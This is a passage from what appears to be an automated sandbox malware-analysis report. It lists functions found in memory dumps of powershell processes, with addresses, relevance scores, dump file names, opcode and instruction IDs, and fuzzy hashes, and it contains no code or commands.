                                                                                                                                                                                                                                                  • Opcode ID: 66d971b8adc5d368575ea383249ebc825d52c972264df4b3dd1a4bb6045a01c6
                                                                                                                                                                                                                                                  • Instruction ID: 66f029aaacdfca4627273f61bb786232a16b4bc455e056f2446f38206113d2a7
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 66d971b8adc5d368575ea383249ebc825d52c972264df4b3dd1a4bb6045a01c6
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 835138F170434ECFCB285A69981C667BBA6AFC1390F648C6BD805CB359DA35C885C7A1
                                                                                                                                                                                                                                                  Function 077631A0 Relevance: 5.1, Strings: 4, Instructions: 94COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2054326235.0000000007760000.00000040.00000800.00020000.00000000.sdmp, Offset: 07760000, based on PE: false
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_7760000_powershell.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                                  • String ID: $^q$$^q$$^q$$^q
                                                                                                                                                                                                                                                  • API String ID: 0-2125118731
                                                                                                                                                                                                                                                  • Opcode ID: 35b59441fa055339c8971e2a28cae64b7aab91e540247c8f8d3c12a38f333988
                                                                                                                                                                                                                                                  • Instruction ID: 71fe2c14eb6c64631b2fcf20ea7bc670fce15b1d6ef4e03ef760ab1427ac01ae
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 35b59441fa055339c8971e2a28cae64b7aab91e540247c8f8d3c12a38f333988
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 3D216BF171030A6FDB3856699C09B27A7D7ABC1791F24882AAD09CF389CD75C845C330
                                                                                                                                                                                                                                                  Function 07763D89 Relevance: 5.0, Strings: 4, Instructions: 48COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2054326235.0000000007760000.00000040.00000800.00020000.00000000.sdmp, Offset: 07760000, based on PE: false
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_7760000_powershell.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                                  • String ID: 4'^q$4'^q$$^q$$^q
                                                                                                                                                                                                                                                  • API String ID: 0-2049395529
                                                                                                                                                                                                                                                  • Opcode ID: 64c6549a423a0771fdacc25dccf114ce9b55f8fd155435c0b26327f480bf87ed
                                                                                                                                                                                                                                                  • Instruction ID: 43e7385a831e52b76297452f5aab1b4cee959fa4e224a0f073e0b469f1c7d011
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 64c6549a423a0771fdacc25dccf114ce9b55f8fd155435c0b26327f480bf87ed
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: BC018461B0D3865FC72A172818241566F729FC355071945DBC581CF29FCD598C49C363

                                                                                                                                                                                                                                                  Executed Functions

                                                                                                                                                                                                                                                  Function 04647600 Relevance: .5, Instructions: 537COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 0000000E.00000002.1971420674.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_14_2_4640000_powershell.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                                                                  • Opcode ID: baec6d40c450461d082d3ba84f05dacd293f6447637e5730e685782414adc34c
                                                                                                                                                                                                                                                  • Instruction ID: ecd2f35b0cce566345b3ac064004b968f994a4acca9fd24ad6089da6f73b8cd4
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: baec6d40c450461d082d3ba84f05dacd293f6447637e5730e685782414adc34c
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: E7227E34A01248DFCB15DFA8D484AADBBF2FF89311F1580A9E445AB362D735ED85CB90
                                                                                                                                                                                                                                                  Function 046432C0 Relevance: .2, Instructions: 210COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 0000000E.00000002.1971420674.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_14_2_4640000_powershell.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                                                                  • Opcode ID: ab0b5235261687936266869a31258b4f6184ad16fbf69f6227d063ab107eb58f
                                                                                                                                                                                                                                                  • Instruction ID: 86e5b3b47b6b032768fdbebaf139da112e35a34bec9f2f192bbbb7ba2a8e7a59
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: ab0b5235261687936266869a31258b4f6184ad16fbf69f6227d063ab107eb58f
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: A2918C70A006458FCB06CF99C5949AEFBB1FF88310B2486A9D915AB365D735FC91CFA0
                                                                                                                                                                                                                                                  Function 04648308 Relevance: .2, Instructions: 164COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 0000000E.00000002.1971420674.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_14_2_4640000_powershell.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                                                                  • Opcode ID: d0f00b4f90688113257077248a75cb08f15efaa2a811b106b3888c4bb58c7f79
                                                                                                                                                                                                                                                  • Instruction ID: 0ffd8369b8a7a2cd8569f4017af150853df24fe5f3762abaa3570862a808ca28
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: d0f00b4f90688113257077248a75cb08f15efaa2a811b106b3888c4bb58c7f79
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: AE512734B01614CFDB24AB78C854B6D77F2AF89644F1405A9D00AEB3A0EF399D82CF11
                                                                                                                                                                                                                                                  Function 046481F3 Relevance: .1, Instructions: 66COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 0000000E.00000002.1971420674.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_14_2_4640000_powershell.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                                                                  • Opcode ID: 9157e3f36fb2c0d68eecf366ad45ae7d8395c04acf6ddf398399ca3891c8cadc
                                                                                                                                                                                                                                                  • Instruction ID: a9cee6ebb0919dadab88f6f0899cdd5a3c3558fb2183d14ecf0cdcac868565de
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 9157e3f36fb2c0d68eecf366ad45ae7d8395c04acf6ddf398399ca3891c8cadc
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 4E31EA74A011198FDB29DF69CD90F99B7F2BF84204F1146E5D108AB3A5DA34DE85CF90
                                                                                                                                                                                                                                                  Function 04647858 Relevance: .1, Instructions: 53COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 0000000E.00000002.1971420674.0000000004640000.00000040.00000800.00020000.00000000.sdmp, Offset: 04640000, based on PE: false
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_14_2_4640000_powershell.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                                                                  • Opcode ID: d007f9ad4fa9cd17a915a85cb0091ae87b76ff96b489c5afa1347a19ca0d75b7
                                                                                                                                                                                                                                                  • Instruction ID: 15ebbf0954e4a6109bfe8bbd0467d1930b249cacda9583b87e77806a9a7d9fb3
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: d007f9ad4fa9cd17a915a85cb0091ae87b76ff96b489c5afa1347a19ca0d75b7
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: E911D2B4E002199FCB04DF98C9809AEFBB5FF88310B1585A9E909AB355D731FD41CBA0
                                                                                                                                                                                                                                                  Function 02DED01D Relevance: .0, Instructions: 45COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 0000000E.00000002.1971053399.0000000002DED000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DED000, based on PE: false
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_14_2_2ded000_powershell.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                                                                  • Opcode ID: 6b5164cd726ebd18b48de5403365812c5124f983ed681602ad257ceb88659231
                                                                                                                                                                                                                                                  • Instruction ID: bc6f31b18eaa85d697d9b41cdde4e1258726366dea90ee0e3fc5315f39123d81
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 6b5164cd726ebd18b48de5403365812c5124f983ed681602ad257ceb88659231
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: B301F7314093409AEB106A25CD84767BF9CDF41324F2CC42AEC4A0B346CB79DC41C6B1
                                                                                                                                                                                                                                                  Function 02DED005 Relevance: .0, Instructions: 45COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 0000000E.00000002.1971053399.0000000002DED000.00000040.00000800.00020000.00000000.sdmp, Offset: 02DED000, based on PE: false
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_14_2_2ded000_powershell.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                                                                  • Opcode ID: b1c4cf54721f074908568f52f80a07ed7b653a0d1a52cc4c85a6484da4f47197
                                                                                                                                                                                                                                                  • Instruction ID: 2370183bb55699fce2eb42c8c72b049aa8787ca773b2f9f080a6afff73c31be4
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: b1c4cf54721f074908568f52f80a07ed7b653a0d1a52cc4c85a6484da4f47197
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: BF014C6140E3C09ED7128B258C94B52BFB8EF43224F1DC1DBD8888F2A3C6699849C772